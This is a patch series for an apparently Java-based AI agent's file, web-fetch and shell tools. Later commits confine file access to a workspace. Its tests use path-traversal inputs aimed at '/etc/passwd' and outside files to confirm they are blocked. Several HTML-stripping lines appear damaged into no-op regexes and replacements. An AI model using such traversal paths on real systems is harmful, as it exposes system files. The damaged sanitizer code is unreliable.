result.substring(0, MAX_OUTPUT_CHARS) + "\n[OUTPUT TRUNCATED]"; + } + return ToolResult.success(result); + } + + long size = Files.size(path); + if (size > MAX_OUTPUT_CHARS * 2) { + // Read partial for large files + String content = Files.readString(path); + return ToolResult.success( + content.substring(0, MAX_OUTPUT_CHARS) + + "\n[TRUNCATED: file is " + size + " bytes, showing first " + MAX_OUTPUT_CHARS + + " chars]"); + } + + String content = Files.readString(path); + return ToolResult.success(content); + + } catch (IOException e) { + logger.error("Failed to read file: {}", filePath, e); + return ToolResult.error("Failed to read file: " + e.getMessage()); + } + } +} diff --git a/src/main/java/ai/openclaw/tool/FileWriteTool.java b/src/main/java/ai/openclaw/tool/FileWriteTool.java new file mode 100644 index 0000000..0e536b5 --- /dev/null +++ b/src/main/java/ai/openclaw/tool/FileWriteTool.java @@ -0,0 +1,73 @@ +package ai.openclaw.tool; + +import ai.openclaw.config.Json; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; +import java.nio.file.Paths; + +/** + * Tool that writes content to a file. + */ +public class FileWriteTool implements Tool { + private static final Logger logger = LoggerFactory.getLogger(FileWriteTool.class); + + @Override + public String name() { + return "file_write"; + } + + @Override + public String description() { + return "Writes content to a file at the given path. Creates the file and parent directories if they don't exist. " + + + "Overwrites existing content. Use this to create or update files."; + } + + @Override + public JsonNode inputSchema() { + ObjectNode schema = Json.mapper().createObjectNode(); + schema.put("type", "object"); + + ObjectNode properties = schema.putObject("properties"); + + ObjectNode path = properties.putObject("path"); + path.put("type", "string"); + path.put("description", "Absolute path to the file to write"); + + ObjectNode content = properties.putObject("content"); + content.put("type", "string"); + content.put("description", "The content to write to the file"); + + schema.putArray("required").add("path").add("content"); + return schema; + } + + @Override + public ToolResult execute(JsonNode input) { + String filePath = input.get("path").asText(); + String content = input.get("content").asText(); + logger.info("Writing file: {} ({} chars)", filePath, content.length()); + + try { + Path path = Paths.get(filePath); + + // Create parent directories if needed + if (path.getParent() != null) { + Files.createDirectories(path.getParent()); + } + + Files.writeString(path, content); + return ToolResult.success("Successfully wrote " + content.length() + " chars to " + filePath); + + } catch (IOException e) { + logger.error("Failed to write file: {}", filePath, e); + return ToolResult.error("Failed to write file: " + e.getMessage()); + } + } +} diff --git a/src/main/java/ai/openclaw/tool/WebSearchTool.java b/src/main/java/ai/openclaw/tool/WebSearchTool.java new file mode 100644 index 0000000..7054855 --- /dev/null +++ b/src/main/java/ai/openclaw/tool/WebSearchTool.java @@ -0,0 +1,109 @@ +package ai.openclaw.tool; + +import ai.openclaw.config.Json; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.node.ObjectNode; +import okhttp3.OkHttpClient; +import okhttp3.Request; +import okhttp3.Response; +import org.slf4j.Logger; +import org.slf4j.LoggerFactory; + +import java.util.concurrent.TimeUnit; + +/** + * Tool that fetches content from a URL and returns it as text. + * HTML tags are stripped to return readable content. + */ +public class WebSearchTool implements Tool { + private static final Logger logger = LoggerFactory.getLogger(WebSearchTool.class); + private static final int MAX_OUTPUT_CHARS = 8192; + private final OkHttpClient client; + + public WebSearchTool() { + this.client = new OkHttpClient.Builder() + .connectTimeout(15, TimeUnit.SECONDS) + .readTimeout(15, TimeUnit.SECONDS) + .followRedirects(true) + .build(); + } + + @Override + public String name() { + return "web_fetch"; + } + + @Override + public String description() { + return "Fetches the content of a web page at the given URL and returns the text. " + + "HTML tags are stripped. Use this to read documentation, API references, articles, or any public web page."; + } + + @Override + public JsonNode inputSchema() { + ObjectNode schema = Json.mapper().createObjectNode(); + schema.put("type", "object"); + + ObjectNode properties = schema.putObject("properties"); + ObjectNode url = properties.putObject("url"); + url.put("type", "string"); + url.put("description", "The URL to fetch content from"); + + schema.putArray("required").add("url"); + return schema; + } + + @Override + public ToolResult execute(JsonNode input) { + String url = input.get("url").asText(); + logger.info("Fetching URL: {}", url); + + try { + Request request = new Request.Builder() + .url(url) + .addHeader("User-Agent", "OpenClaw/0.1 (AI Assistant)") + .get() + .build(); + + try (Response response = client.newCall(request).execute()) { + if (!response.isSuccessful()) { + return ToolResult.error("HTTP " + response.code() + ": " + response.message()); + } + + String body = response.body() != null ? response.body().string() : ""; + + // Strip HTML tags for readability + String text = stripHtml(body); + + if (text.length() > MAX_OUTPUT_CHARS) { + text = text.substring(0, MAX_OUTPUT_CHARS) + "\n[TRUNCATED]"; + } + + return ToolResult.success(text); + } + + } catch (Exception e) { + logger.error("Failed to fetch URL: {}", url, e); + return ToolResult.error("Failed to fetch URL: " + e.getMessage()); + } + } + + /** Simple HTML tag stripping — removes tags and collapses whitespace. */ + static String stripHtml(String html) { + // Remove script and style blocks entirely + String text = html.replaceAll("(?is)", " "); + text = text.replaceAll("(?is)", " "); + // Remove HTML tags + text = text.replaceAll("<[^>]+>", " "); + // Decode common entities + text = text.replace("&", "&") + .replace("<", "<") + .replace(">", ">") + .replace(""", "\"") + .replace("'", "'") + .replace(" ", " "); + // Collapse whitespace + text = text.replaceAll("\\s+", " ").trim(); + return text; + } +} diff --git a/src/test/java/ai/openclaw/tool/FileReadToolTest.java b/src/test/java/ai/openclaw/tool/FileReadToolTest.java new file mode 100644 index 0000000..7de68ea --- /dev/null +++ b/src/test/java/ai/openclaw/tool/FileReadToolTest.java @@ -0,0 +1,64 @@ +package ai.openclaw.tool; + +import ai.openclaw.config.Json; +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.io.TempDir; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; + +import static org.junit.jupiter.api.Assertions.*; + +public class FileReadToolTest { + + private final FileReadTool tool = new FileReadTool(); + + @Test + void testReadExistingFile(@TempDir Path tempDir) throws IOException { + Path testFile = tempDir.resolve("test.txt"); + Files.writeString(testFile, "Hello, World!"); + + ObjectNode input = Json.mapper().createObjectNode(); + input.put("path", testFile.toString()); + + ToolResult result = tool.execute(input); + + assertFalse(result.isError()); + assertEquals("Hello, World!", result.getOutput()); + } + + @Test + void testReadMissingFile() { + ObjectNode input = Json.mapper().createObjectNode(); + input.put("path", "/nonexistent/file.txt"); + + ToolResult result = tool.execute(input); + + assertTrue(result.isError()); + assertTrue(result.getOutput().contains("File not found")); + } + + @Test + void testReadDirectory(@TempDir Path tempDir) throws IOException { + Files.createFile(tempDir.resolve("a.txt")); + Files.createFile(tempDir.resolve("b.txt")); + + ObjectNode input = Json.mapper().createObjectNode(); + input.put("path", tempDir.toString()); + + ToolResult result = tool.execute(input); + + assertFalse(result.isError()); + assertTrue(result.getOutput().contains("a.txt")); + assertTrue(result.getOutput().contains("b.txt")); + } + + @Test + void testToolMetadata() { + assertEquals("file_read", tool.name()); + assertNotNull(tool.description()); + assertNotNull(tool.inputSchema()); + } +} diff --git a/src/test/java/ai/openclaw/tool/FileWriteToolTest.java b/src/test/java/ai/openclaw/tool/FileWriteToolTest.java new file mode 100644 index 0000000..7388b3e --- /dev/null +++ b/src/test/java/ai/openclaw/tool/FileWriteToolTest.java @@ -0,0 +1,68 @@ +package ai.openclaw.tool; + +import ai.openclaw.config.Json; +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.junit.jupiter.api.Test; +import org.junit.jupiter.api.io.TempDir; + +import java.io.IOException; +import java.nio.file.Files; +import java.nio.file.Path; + +import static org.junit.jupiter.api.Assertions.*; + +public class FileWriteToolTest { + + private final FileWriteTool tool = new FileWriteTool(); + + @Test + void testWriteNewFile(@TempDir Path tempDir) throws IOException { + Path testFile = tempDir.resolve("output.txt"); + + ObjectNode input = Json.mapper().createObjectNode(); + input.put("path", testFile.toString()); + input.put("content", "Hello from test!"); + + ToolResult result = tool.execute(input); + + assertFalse(result.isError()); + assertEquals("Hello from test!", Files.readString(testFile)); + } + + @Test + void testWriteCreatesDirectories(@TempDir Path tempDir) throws IOException { + Path testFile = tempDir.resolve("sub/dir/output.txt"); + + ObjectNode input = Json.mapper().createObjectNode(); + input.put("path", testFile.toString()); + input.put("content", "Nested!"); + + ToolResult result = tool.execute(input); + + assertFalse(result.isError()); + assertTrue(Files.exists(testFile)); + assertEquals("Nested!", Files.readString(testFile)); + } + + @Test + void testOverwriteExistingFile(@TempDir Path tempDir) throws IOException { + Path testFile = tempDir.resolve("existing.txt"); + Files.writeString(testFile, "old content"); + + ObjectNode input = Json.mapper().createObjectNode(); + input.put("path", testFile.toString()); + input.put("content", "new content"); + + ToolResult result = tool.execute(input); + + assertFalse(result.isError()); + assertEquals("new content", Files.readString(testFile)); + } + + @Test + void testToolMetadata() { + assertEquals("file_write", tool.name()); + assertNotNull(tool.description()); + assertNotNull(tool.inputSchema()); + } +} diff --git a/src/test/java/ai/openclaw/tool/WebSearchToolTest.java b/src/test/java/ai/openclaw/tool/WebSearchToolTest.java new file mode 100644 index 0000000..a9d0f79 --- /dev/null +++ b/src/test/java/ai/openclaw/tool/WebSearchToolTest.java @@ -0,0 +1,45 @@ +package ai.openclaw.tool; + +import ai.openclaw.config.Json; +import com.fasterxml.jackson.databind.node.ObjectNode; +import org.junit.jupiter.api.Test; + +import static org.junit.jupiter.api.Assertions.*; + +public class WebSearchToolTest { + + private final WebSearchTool tool = new WebSearchTool(); + + @Test + void testStripHtml() { + String html = "Test

Hello

World

"; + String result = WebSearchTool.stripHtml(html); + assertTrue(result.contains("Hello")); + assertTrue(result.contains("World")); + assertFalse(result.contains("

")); + } + + @Test + void testStripHtmlWithScript() { + String html = "Content"; + String result = WebSearchTool.stripHtml(html); + assertTrue(result.contains("Content")); + assertFalse(result.contains("alert")); + } + + @Test + void testInvalidUrl() { + ObjectNode input = Json.mapper().createObjectNode(); + input.put("url", "not-a-url"); + + ToolResult result = tool.execute(input); + assertTrue(result.isError()); + } + + @Test + void testToolMetadata() { + assertEquals("web_fetch", tool.name()); + assertNotNull(tool.description()); + assertNotNull(tool.inputSchema()); + } +} From 08125e74141c7383ee8c1fee032dbe20af0646fc Mon Sep 17 00:00:00 2001 From: Tuhin Kanti Sharma Date: Tue, 17 Feb 2026 21:59:33 -0800 Subject: [PATCH 03/10] Fix tool_result merging, file descriptor leak, test flakiness, and tool message persistence - AnthropicProvider: merge consecutive tool_result messages into a single user message with multiple content blocks (Anthropic API requirement) - FileReadTool: close Files.list() stream with try-with-resources to prevent file descriptor leak on directory listings - GatewayE2ETest: use random available port instead of hardcoded 18790 to prevent BindException when tests run in quick succession - AgentExecutor: persist intermediate tool messages (assistant_tool_use and tool_result) via sessionStore.appendMessage() so they survive process restarts and session replay is complete --- .../java/ai/openclaw/agent/AgentExecutor.java | 8 +++---- .../ai/openclaw/agent/AnthropicProvider.java | 21 +++++++++++++++---- .../java/ai/openclaw/tool/FileReadTool.java | 10 +++++---- .../java/ai/openclaw/e2e/GatewayE2ETest.java | 10 ++++++++- 4 files changed, 36 insertions(+), 13 deletions(-) diff --git a/src/main/java/ai/openclaw/agent/AgentExecutor.java b/src/main/java/ai/openclaw/agent/AgentExecutor.java index 28778a1..2b99369 100644 --- a/src/main/java/ai/openclaw/agent/AgentExecutor.java +++ b/src/main/java/ai/openclaw/agent/AgentExecutor.java @@ -59,7 +59,7 @@ public String execute(String sessionId, String userMessage) { // 3. Run the agentic loop String responseText; try { - responseText = runAgentLoop(session); + responseText = runAgentLoop(sessionId, session); } catch (Exception e) { logger.error("Agent loop failed", e); responseText = "Error: " + e.getMessage(); @@ -72,7 +72,7 @@ public String execute(String sessionId, String userMessage) { return responseText; } - private String runAgentLoop(Session session) throws Exception { + private String runAgentLoop(String sessionId, Session session) throws Exception { String model = config.getAgent().getModel(); for (int iteration = 0; iteration < MAX_TOOL_ITERATIONS; iteration++) { @@ -102,7 +102,7 @@ private String runAgentLoop(Session session) throws Exception { // so it can be replayed in the next API call ArrayNode contentBlocksJson = serializeContentBlocks(response.getContent()); Message assistantToolMsg = Message.assistantToolUse(contentBlocksJson); - session.addMessage(assistantToolMsg); + sessionStore.appendMessage(sessionId, assistantToolMsg); // Execute each requested tool and add results to session for (LlmResponse.ContentBlock block : response.getToolUseBlocks()) { @@ -120,7 +120,7 @@ private String runAgentLoop(Session session) throws Exception { block.getToolUseId(), result.getOutput(), result.isError()); - session.addMessage(toolResultMsg); + sessionStore.appendMessage(sessionId, toolResultMsg); } // Loop back — the next iteration will include the tool results in context diff --git a/src/main/java/ai/openclaw/agent/AnthropicProvider.java b/src/main/java/ai/openclaw/agent/AnthropicProvider.java index 7f7e43d..8b60557 100644 --- a/src/main/java/ai/openclaw/agent/AnthropicProvider.java +++ b/src/main/java/ai/openclaw/agent/AnthropicProvider.java @@ -45,14 +45,25 @@ public LlmResponse completeWithTools(List messages, String model, List< ArrayNode messagesArray = requestBody.putArray("messages"); String systemPrompt = null; + ArrayNode lastToolResultContentArray = null; + for (Message msg : messages) { if ("system".equals(msg.getRole())) { systemPrompt = msg.getContent(); + lastToolResultContentArray = null; } else if ("tool_result".equals(msg.getRole())) { - // Tool results use structured content format - ObjectNode messageNode = messagesArray.addObject(); - messageNode.put("role", "user"); - ArrayNode contentArray = messageNode.putArray("content"); + // Merge consecutive tool_results into a single user message + ArrayNode contentArray; + if (lastToolResultContentArray != null) { + // Append to existing user message + contentArray = lastToolResultContentArray; + } else { + // Create a new user message + ObjectNode messageNode = messagesArray.addObject(); + messageNode.put("role", "user"); + contentArray = messageNode.putArray("content"); + lastToolResultContentArray = contentArray; + } ObjectNode toolResultBlock = contentArray.addObject(); toolResultBlock.put("type", "tool_result"); toolResultBlock.put("tool_use_id", msg.getToolUseId()); @@ -69,10 +80,12 @@ public LlmResponse completeWithTools(List messages, String model, List< } else { messageNode.put("content", msg.getContent()); } + lastToolResultContentArray = null; } else { ObjectNode messageNode = messagesArray.addObject(); messageNode.put("role", msg.getRole()); messageNode.put("content", msg.getContent()); + lastToolResultContentArray = null; } } diff --git a/src/main/java/ai/openclaw/tool/FileReadTool.java b/src/main/java/ai/openclaw/tool/FileReadTool.java index 3149c5e..8b78735 100644 --- a/src/main/java/ai/openclaw/tool/FileReadTool.java +++ b/src/main/java/ai/openclaw/tool/FileReadTool.java @@ -59,10 +59,12 @@ public ToolResult execute(JsonNode input) { // List directory contents instead StringBuilder sb = new StringBuilder(); sb.append("Directory listing for: ").append(filePath).append("\n"); - Files.list(path).sorted().forEach(p -> { - String type = Files.isDirectory(p) ? "[DIR] " : "[FILE] "; - sb.append(type).append(p.getFileName()).append("\n"); - }); + try (var entries = Files.list(path)) { + entries.sorted().forEach(p -> { + String type = Files.isDirectory(p) ? "[DIR] " : "[FILE] "; + sb.append(type).append(p.getFileName()).append("\n"); + }); + } String result = sb.toString(); if (result.length() > MAX_OUTPUT_CHARS) { result = result.substring(0, MAX_OUTPUT_CHARS) + "\n[OUTPUT TRUNCATED]"; diff --git a/src/test/java/ai/openclaw/e2e/GatewayE2ETest.java b/src/test/java/ai/openclaw/e2e/GatewayE2ETest.java index aced51f..0febe2b 100644 --- a/src/test/java/ai/openclaw/e2e/GatewayE2ETest.java +++ b/src/test/java/ai/openclaw/e2e/GatewayE2ETest.java @@ -26,11 +26,19 @@ public class GatewayE2ETest { private GatewayServer server; - private int port = 18790; + private int port; private SessionStore sessionStore; + private static int findFreePort() throws Exception { + try (var socket = new java.net.ServerSocket(0)) { + return socket.getLocalPort(); + } + } + @BeforeEach void setUp() throws Exception { + port = findFreePort(); + OpenClawConfig config = new OpenClawConfig(); OpenClawConfig.GatewayConfig gatewayConfig = new OpenClawConfig.GatewayConfig(); gatewayConfig.setPort(port); From a8f29928bb67ea1a8e7483738ea28a56eed2e299 Mon Sep 17 00:00:00 2001 From: Tuhin Kanti Sharma Date: Tue, 17 Feb 2026 22:06:37 -0800 Subject: [PATCH 04/10] Security hardening: workspace confinement and non-root Docker Docker: - Run as non-root 'openclaw' user with dedicated /home/openclaw/workspace - Install bash/curl for tool execution Tool confinement: - CodeExecutionTool: default working directory changed to ~/workspace - FileReadTool: workspace-confined with path normalization validation, rejects paths outside workspace root (../escape and absolute paths) - FileWriteTool: same workspace confinement as FileReadTool - FileReadTool: large file read now uses bounded BufferedReader instead of Files.readString() to prevent OOM on multi-GB files Tests (22 total): - FileReadToolTest: 7 tests (read, relative, missing, dir, path escape, absolute outside, metadata) - FileWriteToolTest: 6 tests (create, dirs, overwrite, path escape, absolute outside, metadata) - CodeExecutionToolTest: uses explicit temp dir for working directory --- Dockerfile | 9 +++ .../ai/openclaw/tool/CodeExecutionTool.java | 2 +- .../java/ai/openclaw/tool/FileReadTool.java | 54 ++++++++++++++--- .../java/ai/openclaw/tool/FileWriteTool.java | 38 ++++++++++-- .../openclaw/tool/CodeExecutionToolTest.java | 2 +- .../ai/openclaw/tool/FileReadToolTest.java | 56 +++++++++++++++--- .../ai/openclaw/tool/FileWriteToolTest.java | 59 ++++++++++++++----- 7 files changed, 183 insertions(+), 37 deletions(-) diff --git a/Dockerfile b/Dockerfile index 96ece32..3de4ef4 100644 --- a/Dockerfile +++ b/Dockerfile @@ -13,11 +13,20 @@ WORKDIR /app # Install bash for CodeExecutionTool RUN apk add --no-cache bash curl +# Create a non-root user with a dedicated workspace for tool execution +RUN addgroup -S openclaw && adduser -S openclaw -G openclaw \ + && mkdir -p /home/openclaw/workspace \ + && chown -R openclaw:openclaw /home/openclaw + COPY --from=build /app/build/libs/*.jar /app/openclaw.jar # Default gateway port ENV GATEWAY_PORT=18789 EXPOSE ${GATEWAY_PORT} +# Run as non-root user +USER openclaw +ENV HOME=/home/openclaw + ENTRYPOINT ["java", "-jar", "/app/openclaw.jar"] CMD ["gateway"] diff --git a/src/main/java/ai/openclaw/tool/CodeExecutionTool.java b/src/main/java/ai/openclaw/tool/CodeExecutionTool.java index 1bf4c40..5d3ec40 100644 --- a/src/main/java/ai/openclaw/tool/CodeExecutionTool.java +++ b/src/main/java/ai/openclaw/tool/CodeExecutionTool.java @@ -24,7 +24,7 @@ public class CodeExecutionTool implements Tool { private final Path workingDirectory; public CodeExecutionTool() { - this(30, Paths.get(System.getProperty("user.home"))); + this(30, Paths.get(System.getProperty("user.home"), "workspace")); } public CodeExecutionTool(long timeoutSeconds, Path workingDirectory) { diff --git a/src/main/java/ai/openclaw/tool/FileReadTool.java b/src/main/java/ai/openclaw/tool/FileReadTool.java index 8b78735..4f8a8a2 100644 --- a/src/main/java/ai/openclaw/tool/FileReadTool.java +++ b/src/main/java/ai/openclaw/tool/FileReadTool.java @@ -6,6 +6,7 @@ import org.slf4j.Logger; import org.slf4j.LoggerFactory; +import java.io.BufferedReader; import java.io.IOException; import java.nio.file.Files; import java.nio.file.Path; @@ -13,10 +14,20 @@ /** * Tool that reads the contents of a file. + * Confined to a workspace directory for security. */ public class FileReadTool implements Tool { private static final Logger logger = LoggerFactory.getLogger(FileReadTool.class); private static final int MAX_OUTPUT_CHARS = 8192; + private final Path workspaceRoot; + + public FileReadTool() { + this(Paths.get(System.getProperty("user.home"), "workspace")); + } + + public FileReadTool(Path workspaceRoot) { + this.workspaceRoot = workspaceRoot.toAbsolutePath().normalize(); + } @Override public String name() { @@ -26,6 +37,7 @@ public String name() { @Override public String description() { return "Reads the contents of a file at the given path and returns it as text. " + + "Paths are relative to the workspace directory (" + workspaceRoot + "). " + "Use this to inspect source code, config files, logs, or any text file."; } @@ -37,7 +49,7 @@ public JsonNode inputSchema() { ObjectNode properties = schema.putObject("properties"); ObjectNode path = properties.putObject("path"); path.put("type", "string"); - path.put("description", "Absolute path to the file to read"); + path.put("description", "Path to the file to read (relative to workspace, or absolute within workspace)"); schema.putArray("required").add("path"); return schema; @@ -49,7 +61,10 @@ public ToolResult execute(JsonNode input) { logger.info("Reading file: {}", filePath); try { - Path path = Paths.get(filePath); + Path path = resolvePath(filePath); + if (path == null) { + return ToolResult.error("Access denied: path is outside the workspace (" + workspaceRoot + ")"); + } if (!Files.exists(path)) { return ToolResult.error("File not found: " + filePath); @@ -58,7 +73,7 @@ public ToolResult execute(JsonNode input) { if (Files.isDirectory(path)) { // List directory contents instead StringBuilder sb = new StringBuilder(); - sb.append("Directory listing for: ").append(filePath).append("\n"); + sb.append("Directory listing for: ").append(path).append("\n"); try (var entries = Files.list(path)) { entries.sorted().forEach(p -> { String type = Files.isDirectory(p) ? "[DIR] " : "[FILE] "; @@ -74,12 +89,18 @@ public ToolResult execute(JsonNode input) { long size = Files.size(path); if (size > MAX_OUTPUT_CHARS * 2) { - // Read partial for large files - String content = Files.readString(path); + // Read only the first MAX_OUTPUT_CHARS using a bounded reader + char[] buffer = new char[MAX_OUTPUT_CHARS]; + int charsRead; + try (BufferedReader reader = Files.newBufferedReader(path)) { + charsRead = reader.read(buffer, 0, MAX_OUTPUT_CHARS); + } + if (charsRead <= 0) { + return ToolResult.success(""); + } return ToolResult.success( - content.substring(0, MAX_OUTPUT_CHARS) + - "\n[TRUNCATED: file is " + size + " bytes, showing first " + MAX_OUTPUT_CHARS - + " chars]"); + new String(buffer, 0, charsRead) + + "\n[TRUNCATED: file is " + size + " bytes, showing first " + charsRead + " chars]"); } String content = Files.readString(path); @@ -90,4 +111,21 @@ public ToolResult execute(JsonNode input) { return ToolResult.error("Failed to read file: " + e.getMessage()); } } + + /** + * Resolves a path ensuring it stays within the workspace root. + * Returns null if the resolved path escapes the workspace. + */ + private Path resolvePath(String filePath) { + Path resolved = Paths.get(filePath); + if (!resolved.isAbsolute()) { + resolved = workspaceRoot.resolve(filePath); + } + resolved = resolved.toAbsolutePath().normalize(); + if (!resolved.startsWith(workspaceRoot)) { + logger.warn("Path escape attempt: {} resolved to {} (workspace: {})", filePath, resolved, workspaceRoot); + return null; + } + return resolved; + } } diff --git a/src/main/java/ai/openclaw/tool/FileWriteTool.java b/src/main/java/ai/openclaw/tool/FileWriteTool.java index 0e536b5..f96e41d 100644 --- a/src/main/java/ai/openclaw/tool/FileWriteTool.java +++ b/src/main/java/ai/openclaw/tool/FileWriteTool.java @@ -13,9 +13,19 @@ /** * Tool that writes content to a file. + * Confined to a workspace directory for security. */ public class FileWriteTool implements Tool { private static final Logger logger = LoggerFactory.getLogger(FileWriteTool.class); + private final Path workspaceRoot; + + public FileWriteTool() { + this(Paths.get(System.getProperty("user.home"), "workspace")); + } + + public FileWriteTool(Path workspaceRoot) { + this.workspaceRoot = workspaceRoot.toAbsolutePath().normalize(); + } @Override public String name() { @@ -26,7 +36,7 @@ public String name() { public String description() { return "Writes content to a file at the given path. Creates the file and parent directories if they don't exist. " + - "Overwrites existing content. Use this to create or update files."; + "Overwrites existing content. Paths are relative to the workspace directory (" + workspaceRoot + ")."; } @Override @@ -38,7 +48,7 @@ public JsonNode inputSchema() { ObjectNode path = properties.putObject("path"); path.put("type", "string"); - path.put("description", "Absolute path to the file to write"); + path.put("description", "Path to the file to write (relative to workspace, or absolute within workspace)"); ObjectNode content = properties.putObject("content"); content.put("type", "string"); @@ -55,7 +65,10 @@ public ToolResult execute(JsonNode input) { logger.info("Writing file: {} ({} chars)", filePath, content.length()); try { - Path path = Paths.get(filePath); + Path path = resolvePath(filePath); + if (path == null) { + return ToolResult.error("Access denied: path is outside the workspace (" + workspaceRoot + ")"); + } // Create parent directories if needed if (path.getParent() != null) { @@ -63,11 +76,28 @@ public ToolResult execute(JsonNode input) { } Files.writeString(path, content); - return ToolResult.success("Successfully wrote " + content.length() + " chars to " + filePath); + return ToolResult.success("Successfully wrote " + content.length() + " chars to " + path); } catch (IOException e) { logger.error("Failed to write file: {}", filePath, e); return ToolResult.error("Failed to write file: " + e.getMessage()); } } + + /** + * Resolves a path ensuring it stays within the workspace root. + * Returns null if the resolved path escapes the workspace. + */ + private Path resolvePath(String filePath) { + Path resolved = Paths.get(filePath); + if (!resolved.isAbsolute()) { + resolved = workspaceRoot.resolve(filePath); + } + resolved = resolved.toAbsolutePath().normalize(); + if (!resolved.startsWith(workspaceRoot)) { + logger.warn("Path escape attempt: {} resolved to {} (workspace: {})", filePath, resolved, workspaceRoot); + return null; + } + return resolved; + } } diff --git a/src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java b/src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java index 2ba56e2..0200b47 100644 --- a/src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java +++ b/src/test/java/ai/openclaw/tool/CodeExecutionToolTest.java @@ -10,7 +10,7 @@ public class CodeExecutionToolTest { - private final CodeExecutionTool tool = new CodeExecutionTool(); + private final CodeExecutionTool tool = new CodeExecutionTool(30, Paths.get(System.getProperty("java.io.tmpdir"))); @Test void testEchoCommand() { diff --git a/src/test/java/ai/openclaw/tool/FileReadToolTest.java b/src/test/java/ai/openclaw/tool/FileReadToolTest.java index 7de68ea..3627230 100644 --- a/src/test/java/ai/openclaw/tool/FileReadToolTest.java +++ b/src/test/java/ai/openclaw/tool/FileReadToolTest.java @@ -13,50 +13,92 @@ public class FileReadToolTest { - private final FileReadTool tool = new FileReadTool(); + @TempDir + Path tempDir; + + private FileReadTool tool() { + return new FileReadTool(tempDir); + } @Test - void testReadExistingFile(@TempDir Path tempDir) throws IOException { + void testReadExistingFile() throws IOException { Path testFile = tempDir.resolve("test.txt"); Files.writeString(testFile, "Hello, World!"); ObjectNode input = Json.mapper().createObjectNode(); input.put("path", testFile.toString()); - ToolResult result = tool.execute(input); + ToolResult result = tool().execute(input); assertFalse(result.isError()); assertEquals("Hello, World!", result.getOutput()); } + @Test + void testReadRelativePath() throws IOException { + Path testFile = tempDir.resolve("relative.txt"); + Files.writeString(testFile, "Relative content"); + + ObjectNode input = Json.mapper().createObjectNode(); + input.put("path", "relative.txt"); + + ToolResult result = tool().execute(input); + + assertFalse(result.isError()); + assertEquals("Relative content", result.getOutput()); + } + @Test void testReadMissingFile() { ObjectNode input = Json.mapper().createObjectNode(); - input.put("path", "/nonexistent/file.txt"); + input.put("path", "nonexistent.txt"); - ToolResult result = tool.execute(input); + ToolResult result = tool().execute(input); assertTrue(result.isError()); assertTrue(result.getOutput().contains("File not found")); } @Test - void testReadDirectory(@TempDir Path tempDir) throws IOException { + void testReadDirectory() throws IOException { Files.createFile(tempDir.resolve("a.txt")); Files.createFile(tempDir.resolve("b.txt")); ObjectNode input = Json.mapper().createObjectNode(); input.put("path", tempDir.toString()); - ToolResult result = tool.execute(input); + ToolResult result = tool().execute(input); assertFalse(result.isError()); assertTrue(result.getOutput().contains("a.txt")); assertTrue(result.getOutput().contains("b.txt")); } + @Test + void testPathEscapeBlocked() { + ObjectNode input = Json.mapper().createObjectNode(); + input.put("path", "../../../etc/passwd"); + + ToolResult result = tool().execute(input); + + assertTrue(result.isError()); + assertTrue(result.getOutput().contains("Access denied")); + } + + @Test + void testAbsolutePathOutsideWorkspaceBlocked() { + ObjectNode input = Json.mapper().createObjectNode(); + input.put("path", "/etc/passwd"); + + ToolResult result = tool().execute(input); + + assertTrue(result.isError()); + assertTrue(result.getOutput().contains("Access denied")); + } + @Test void testToolMetadata() { + FileReadTool tool = tool(); assertEquals("file_read", tool.name()); assertNotNull(tool.description()); assertNotNull(tool.inputSchema()); diff --git a/src/test/java/ai/openclaw/tool/FileWriteToolTest.java b/src/test/java/ai/openclaw/tool/FileWriteToolTest.java index 7388b3e..ada4817 100644 --- a/src/test/java/ai/openclaw/tool/FileWriteToolTest.java +++ b/src/test/java/ai/openclaw/tool/FileWriteToolTest.java @@ -13,39 +13,41 @@ public class FileWriteToolTest { - private final FileWriteTool tool = new FileWriteTool(); + @TempDir + Path tempDir; - @Test - void testWriteNewFile(@TempDir Path tempDir) throws IOException { - Path testFile = tempDir.resolve("output.txt"); + private FileWriteTool tool() { + return new FileWriteTool(tempDir); + } + @Test + void testWriteNewFile() throws IOException { ObjectNode input = Json.mapper().createObjectNode(); - input.put("path", testFile.toString()); + input.put("path", "output.txt"); input.put("content", "Hello from test!"); - ToolResult result = tool.execute(input); + ToolResult result = tool().execute(input); assertFalse(result.isError()); - assertEquals("Hello from test!", Files.readString(testFile)); + assertEquals("Hello from test!", Files.readString(tempDir.resolve("output.txt"))); } @Test - void testWriteCreatesDirectories(@TempDir Path tempDir) throws IOException { - Path testFile = tempDir.resolve("sub/dir/output.txt"); - + void testWriteCreatesDirectories() throws IOException { ObjectNode input = Json.mapper().createObjectNode(); - input.put("path", testFile.toString()); + input.put("path", "sub/dir/output.txt"); input.put("content", "Nested!"); - ToolResult result = tool.execute(input); + ToolResult result = tool().execute(input); assertFalse(result.isError()); - assertTrue(Files.exists(testFile)); - assertEquals("Nested!", Files.readString(testFile)); + Path created = tempDir.resolve("sub/dir/output.txt"); + assertTrue(Files.exists(created)); + assertEquals("Nested!", Files.readString(created)); } @Test - void testOverwriteExistingFile(@TempDir Path tempDir) throws IOException { + void testOverwriteExistingFile() throws IOException { Path testFile = tempDir.resolve("existing.txt"); Files.writeString(testFile, "old content"); @@ -53,14 +55,39 @@ void testOverwriteExistingFile(@TempDir Path tempDir) throws IOException { input.put("path", testFile.toString()); input.put("content", "new content"); - ToolResult result = tool.execute(input); + ToolResult result = tool().execute(input); assertFalse(result.isError()); assertEquals("new content", Files.readString(testFile)); } + @Test + void testPathEscapeBlocked() { + ObjectNode input = Json.mapper().createObjectNode(); + input.put("path", "../../../tmp/evil.txt"); + input.put("content", "pwned"); + + ToolResult result = tool().execute(input); + + assertTrue(result.isError()); + assertTrue(result.getOutput().contains("Access denied")); + } + + @Test + void testAbsolutePathOutsideWorkspaceBlocked() { + ObjectNode input = Json.mapper().createObjectNode(); + input.put("path", "/tmp/evil.txt"); + input.put("content", "pwned"); + + ToolResult result = tool().execute(input); + + assertTrue(result.isError()); + assertTrue(result.getOutput().contains("Access denied")); + } + @Test void testToolMetadata() { + FileWriteTool 